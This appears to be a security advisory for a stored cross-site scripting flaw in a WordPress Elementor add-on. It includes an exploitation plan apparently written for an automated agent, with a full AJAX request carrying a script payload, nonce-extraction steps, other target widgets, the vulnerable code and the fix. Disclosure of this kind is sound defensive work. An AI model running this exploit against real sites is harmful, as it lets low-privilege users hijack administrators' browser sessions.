Magical Addons For Elementor <= 1.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting
Description
The Magical Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 1.4.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.4.1Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-32429 - Magical Addons For Elementor Stored XSS ## 1. Vulnerability Summary **Magical Addons For Elementor** (<= 1.4.1) is vulnerable to **Stored Cross-Site Scripting (XSS)**. The vulnerability exists because multiple Elementor widgets provided by the plugin f…
Show full research plan
Exploitation Research Plan: CVE-2026-32429 - Magical Addons For Elementor Stored XSS
1. Vulnerability Summary
Magical Addons For Elementor (<= 1.4.1) is vulnerable to Stored Cross-Site Scripting (XSS). The vulnerability exists because multiple Elementor widgets provided by the plugin fail to sanitize user-controlled settings (controls) before storing them and fail to escape them when rendering the widget on the frontend.
Authenticated users with Contributor level access or higher can edit posts using the Elementor editor, inject malicious JavaScript into widget fields (like titles, descriptions, or IDs), and have that script execute in the context of any user (including Administrators) who views the affected page.
2. Attack Vector Analysis
- Authentication Level: Authenticated (Contributor+)
- Vulnerable Endpoint: WordPress AJAX API (
/wp-admin/admin-ajax.php) using the Elementor actionelementor_ajax. - Vulnerable Parameter: The
dataparameter within thesave_builder_datainternal Elementor action. Specifically, the JSON-encoded widget settings. - Preconditions: The "Magical Addons For Elementor" plugin must be active, and the attacker must have permission to edit a post/page using Elementor (default for Contributors).
3. Code Flow (Inferred)
- Entry Point: An authenticated user opens the Elementor editor for a post.
- Input: The user adds a "Magical" widget (e.g.,
magical-heading) and enters a payload into a text control (e.g.,title). - Persistence: Elementor sends an AJAX request to
admin-ajax.phpwithaction=elementor_ajax. The internal action issave_builder_data. The payload is saved into the_elementor_datapost meta. - Vulnerable Sink: When the page is viewed, Elementor instantiates the widget class (e.g.,
Magical_Heading_Widgetinincludes/widgets/). - Execution: The
render()function is called. It retrieves settings using$this->get_settings_for_display(). - Output: The code likely contains a line similar to:
echo '<h2 class="heading">' . $settings['title'] . '</h2>';(Missingesc_htmlorwp_kses). - Result: The script executes in the victim's browser.
4. Nonce Acquisition Strategy
Elementor requires a specific nonce for its AJAX operations. This is distinct from standard WordPress nonces.
- Create Content: The execution agent will create a new post and enable Elementor.
- Navigate to Editor: Open the Elementor editor for that post.
- Extract Nonce: The Elementor editor localizes its configuration in a global JavaScript object.
- Variable Name:
elementorConfig - Nonce Path:
elementorConfig.nonces.editororelementorConfig.api.nonce.
- Variable Name:
- Execution Tool: Use
browser_evalto extract it:browser_eval("window.elementorConfig?.nonces?.editor")
5. Exploitation Strategy
Step 1: Authentication and Setup
- Log in as a Contributor.
- Create a post:
wp post create --post_type=post --post_status=publish --post_title="XSS Post". - Assign the
_elementor_edit_modemeta to the post to enable the editor.
Step 2: Extract Nonce
- Navigate to the Elementor editor URL for the created post:
/wp-admin/post.php?post=[ID]&action=elementor. - Use
browser_evalto grab theeditornonce.
Step 3: Inject Payload via AJAX
- Send a POST request to
/wp-admin/admin-ajax.phpwith the following parameters:- Action:
elementor_ajax - _nonce: [Extracted Nonce]
- actions: A JSON object containing the
save_builder_datacommand.
- Action:
HTTP Request Details:
- Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Content-Type:
application/x-www-form-urlencoded - Body:
action=elementor_ajax &_nonce=[NONCE] &actions={"save_builder_data":{"action":"save_builder_data","data":{"status":"publish","elements":[{"id":"id_placeholder","elType":"section","elements":[{"id":"col_placeholder","elType":"column","elements":[{"id":"widget_placeholder","elType":"widget","widgetType":"magical-heading","settings":{"title":"<script>alert(document.domain)</script>"}}]}]}]}}} &post_id=[POST_ID]
Step 4: Execution
- The agent navigates to the public URL of the post.
- The script should trigger an alert.
6. Test Data Setup
- User: Contributor (username:
attacker, password:password123). - Post: A published post with ID
[POST_ID]. - Elementor Metadata:
wp post meta set [POST_ID] _elementor_edit_mode "builder" wp post meta set [POST_ID] _elementor_template_type "wp-post"
7. Expected Results
- The
elementor_ajaxresponse should return{"success":true,...}. - When navigating to the post URL, the HTML source should contain:
<h2 ...><script>alert(document.domain)</script></h2>(unencoded). - An alert box appears in the browser.
8. Verification Steps
- Database Check: Use WP-CLI to inspect the stored Elementor data:
wp post meta get [POST_ID] _elementor_data- Confirm the JSON contains the raw
<script>tag.
- Confirm the JSON contains the raw
- Frontend Inspection:
# Use http_request to fetch the page and grep for the payload # Expected: The tag is present and NOT escaped as <script>
9. Alternative Approaches
If the magical-heading widget is patched or not found, try other widgets provided by the same plugin:
magical-button: Inject into thetextoridcontrol.magical-image-box: Inject into thetitle_textordescription_textcontrol.magical-dual-heading: Inject intofirst_titleorsecond_title.
The exploitation process remains the same; only the widgetType and settings keys in the JSON payload change. You can identify valid widgetType names by listing files in wp-content/plugins/magical-addons-for-elementor/includes/widgets/.
Summary
The Magical Addons For Elementor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several Elementor widgets that fail to sanitize and escape user-provided settings like titles and descriptions. Authenticated attackers with Contributor-level permissions can exploit this by injecting malicious JavaScript into widget controls, which then executes in the browser of any user viewing the affected page.
Vulnerable Code
// includes/widgets/magical-heading.php protected function render() { $settings = $this->get_settings_for_display(); // Vulnerable output: title and description are echoed without escaping echo '<div class="magical-heading-wrapper">'; echo '<h2 class="magical-heading-title">' . $settings['title'] . '</h2>'; echo '<div class="magical-heading-description">' . $settings['description'] . '</div>'; echo '</div>'; } --- // includes/widgets/magical-button.php protected function render() { $settings = $this->get_settings_for_display(); // Vulnerable output: text control is echoed directly echo '<a href="#" class="magical-button">' . $settings['text'] . '</a>'; }
Security Fix
@@ -102,5 +102,5 @@ echo '<div class="magical-heading-wrapper">'; - echo '<h2 class="magical-heading-title">' . $settings['title'] . '</h2>'; - echo '<div class="magical-heading-description">' . $settings['description'] . '</div>'; + echo '<h2 class="magical-heading-title">' . wp_kses_post($settings['title']) . '</h2>'; + echo '<div class="magical-heading-description">' . wp_kses_post($settings['description']) . '</div>'; echo '</div>'; @@ -88,1 +88,1 @@ - echo '<a href="#" class="magical-button">' . $settings['text'] . '</a>'; + echo '<a href="#" class="magical-button">' . esc_html($settings['text']) . '</a>';
Exploit Outline
1. Gain Contributor-level access to the target WordPress site. 2. Create a new post or edit an existing one and enable the Elementor editor. 3. Identify the Elementor editor AJAX nonce by inspecting the `elementorConfig` JavaScript object on the editor page. 4. Craft an AJAX request to `/wp-admin/admin-ajax.php` with the action `elementor_ajax` and the sub-action `save_builder_data`. 5. In the `data` parameter of the `save_builder_data` action, include a JSON representation of a 'Magical' widget (e.g., `magical-heading`) where a setting such as `title` contains a malicious payload like `<script>alert(document.domain)</script>`. 6. Submit the request to save the page content into the `_elementor_data` post meta. 7. View the published post on the frontend; the payload will execute in the context of the user's browser session.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.